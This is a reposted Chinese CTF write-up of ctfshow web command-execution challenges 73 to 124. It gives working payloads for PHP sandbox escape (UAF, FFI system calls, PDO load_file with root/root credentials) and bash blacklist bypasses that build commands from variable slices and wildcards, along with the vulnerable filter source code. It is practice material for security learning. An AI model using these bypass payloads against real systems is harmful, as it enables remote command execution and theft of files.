直接c=上面的代码,最后在burp中url编码一下即可

web-73

这题和上一题一样,可以利用uaf的漏洞来做,先查看flag的命名

c=$a=new DirectoryIterator('glob:///*');foreach($a as $f){echo($f->__toString()." ");}

这一关的flag为flagc.txt

用上一题的代码,讲flag0.txt改为flagc.txt,在burp进行url编码

但是得到的内容是

这里显示UAF failed,原因是因为这里禁用了strlen()函数,我们检查一下uaf的脚本代码,发现有三处使用strlen()的地方,strlen()即是返回字符串长度,PHP中有一些函数可以替换,但是都会显示错误,要么就是不兼容这个脚本,要么就是数据溢出,所以这里我们自己写一个获取字符串长度的自定义函数

function strlen_user($s){
    $ret=0;
    
    for ($i=0;$i<1000000;$i++){
        if($s[$i]){
            $ret=$ret+1;
        }else{
            break;
        }
    }
    return $ret;
}

将这个函数贴在uaf脚本的比较靠前的位置,然后将脚本中的strlen换成strlen_user,然后在用burp编码发送数据包,结果得到了

就是按照群主的意思说是,这题可以这样做,但是这题还没有修复,等以后修复了就可以这样做

于是这题就可以变成前面那些直接构造payload的方法了,好像只留了一个

c=include("/flagc.txt");exit();

web-74

结果和上面一样,不过是flagx.txt

web-75~76

先查看flag是什么文件

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();

发现是flag36.txt

之前的题目中有好都见过他的数据库名字和密码,直接构造payload

c=try {$dbh = new PDO('mysql:host=localhost;dbname=ctftraining', 'root',
'root');foreach($dbh->query('select load_file("/flag36.txt")') as $row)
{echo($row[0])."|"; }$dbh = null;}catch (PDOException $e) {echo $e-
>getMessage();exit(0);}exit(0);

web-77

首先确定flag的位置和名称

c=$a=new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().' ');}exit();

这里他的mysql不能用了,因为是PHP7.4,有个新特性

FFI(Foreign Function Interface),即外部函数接口,是指在一种语言里调用另一种语言代码的技术。PHP的FFI扩展就是一个让你在PHP里调用C代码的技术。

paylaod

$ffi = FFI::cdef("int system(const char *command);");//创建一个system对象
$a='/readflag > 1.txt';//没有回显的
$ffi->system($a);//通过$ffi去调用system函数

web-118

通过测试爆破很多字符不能用

看下面的执行结果,我们可以构造nl flag.php

root@baba:~# echo ${PWD}
/root
root@baba:~# echo ${PWD:1:1}   //表示从第2(1+1)个字符开始的一个字符
r
root@baba:~# echo ${PWD:0:1}   //表示从第1(0+1)个字符开始的一个字符
/
root@baba:~# echo ${PWD:~0:1}  //表示从最后一个字符开始的一个字符
t
root@baba:~# echo ${PWD:~A}    //字母代表0
t

所以可以利用各个环境变量的最后一位来构造命令。 ${PWD}在这题肯定是/var/www/html,而${PATH}通常是bin,那么${PWD:A}的结果就应该是’ l ‘,因为${PATH:A}的结果是’ n ',那么他们拼接在一起正好是nl,能够读取flag,因为通配符没有被过滤,所以可以用通配符代替flag.php

payload

${PATH:~A}${PWD:~A} ????.???

web-119~20

比上题多过滤了path
方法一:
可以构造出/bin/base64 flag.php,只需要/和4两个字符就行,其他的可以用通配符代替。
/很简单,pwd的第一位就是,因为这题ban了数字,所以可以用该题值必是1的${#SHLVL}绕过

SHLVL
是记录多个 Bash 进程实例嵌套深度的累加器,进程第一次打开shell时${SHLVL}=1,然后在此shell中再打开一个shell时$SHLVL=2。

只需要${PWD::${SHLVL}},结果就是/

RANDOM
此变量值,随机出现整数,范围为0-32767。不过,虽然说是随机,但并不是真正的随机,因为每次得到的随机数都一样。为此,在使用RANDOM变量前,请随意设定一个数字给RANDOM,当做随机数种子,这样才不会每次产生的随机数其顺序都一样。

4的问题,可以用${#RANDOM},在Linux中,${#xxx}显示的是这个值的位数不加#是变量的值,加了#是变量的值的长度,例如12345的值是5,而random函数绝大部分产生的数字都是4位或者5位的,因此可以代替4.
payload:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}?????${#RANDOM} ????.???

上面那个需要多摇几次
方式二:
可以构造/bin/cat flag.php,需要t和/,${HOME}默认是/root,所以需要得到他的最后一个字母,容器的hostname应该是5个字母,所以${#HOSTNAME}可以从第5位开始,1还是用${#SHLVL}代替
payload:

${PWD::${#SHLVL}}???${PWD::${#SHLVL}}??${HOME:${#HOSTNAME}:${#SHLVL}} ????.???

查看源码即可得到flag

web-121

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>
$#
$?

这两个的值都为0
加上#代表长度就为1
这题最关键的SHLVL被过滤了,可以用

${##}或${#?}

代替

code=${PWD::${##}}???${PWD::${##}}?????${#RANDOM} ????.???
code=${PWD::${#?}}???${PWD::${#?}}?????${#RANDOM} ????.???

hint中的payload

code=${PWD::${#?}}???${PWD::${#?}}${PWD:${#IFS}:${#?}}?? ????.???

使用的是/bin/rev读文件 把文件中每行逆序输出读取
用到了IFS

定义字段分隔字符。默认值为:空格符、tab字符、换行字符(newline) 长度为3

PWD为 /var/www/html
刚好第三个是r
可以匹配到/bin/rev

web-122

源码

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

这题在上题的基础上又过滤了

#

PWD

,PWD的绕过很简单,用HOME就可以,而#,就要用到

$?

$? 执行上一个指令的返回值 (显示最后命令的退出状态。0表示没有错误,其他任何值表明有错误)

所以在使用

$?

之前要先给错误的命令 让

$?

的值为1

${}

<A

可以但是题目上

${}

这个不可以
所以用

<A

后边的数字4还是用

RANDOM

随机数来获取
payload:

code=<A;${HOME::$?}???${HOME::$?}?????${RANDOM::$?} ????.???

web-124

 <?php
error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
} 

这道题给我们留了很多的数学函数,我们发现其中基本全是php中可用使用的函数。而且很多是可用进行进制转换的。
我们来看下具体的函数

base_convert(number,frombase,tobase);
参数    描述
number        必需。规定要转换的数。
frombase    必需。规定数字原来的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。
tobase        必需。规定要转换的进制。介于 2 和 36 之间(包括 2 和 36)。高于十进制的数字用字母 a-z 表示,例如 a 表示 10,b 表示 11 以及 z 表示 35。

bindec — 二进制转换为十进制
bindec ( string $binary_string ) : number

decbin — 十进制转换为二进制
decbin ( int $number ) : string

dechex — 十进制转换为十六进制
dechex ( int $number ) : string

decoct — 十进制转换为八进制
decoct ( int $number ) : string

hexdec — 十六进制转换为十进制
hexdec ( int $number ) : string

在这个题中,我们不能使用除题目白名单中给出的函数以外的任何字符。那我们的目的就是构造出字母或者构造出函数。
假设我们要构造出如下表达式
c=$_GETa&a=system&b=cat flag
我们需要构造的是其实只有 _GET,$我们可用使用,中括号可用花括号代替,小括号也是可以使用的。这时候我们想到了一个办法,如果可以构造出hex2bin函数就可以将16进制转换成字符串了。我们又可以用decoct将10进制转换成16进制。也就是可以将10进制转换成字符串。
那么问题来了,hex2bin怎么构造呢,这时候就需要用到base_convert了。
我们发现36进制中包含了所有的数字和字母,所有只需要将hex2bin按照36进制转换成10进制就可以了。

echo base_convert('hex2bin', 36, 10);
结果  37907361743

echo hexdec(bin2hex("_GET"));
结果 1598506324

现在我们要做的就是反过来了


base_convert('37907361743',10,36);    hex2bin

base_convert('37907361743',10,36)(dechex('1598506324'));    _GET
c=$pi=_GET;$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

我们再把_GET进行替换

payload:c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));$$pi{abs}($$pi{acos})&abs=system&acos=tac f*

本文转载自: https://blog.csdn.net/wangringyi/article/details/126310494
版权归原作者 我叫萝卜头 所有, 如有侵权,请联系我们删除。

“ctfhsow web入门 命令执行大全”的评论:

还没有评论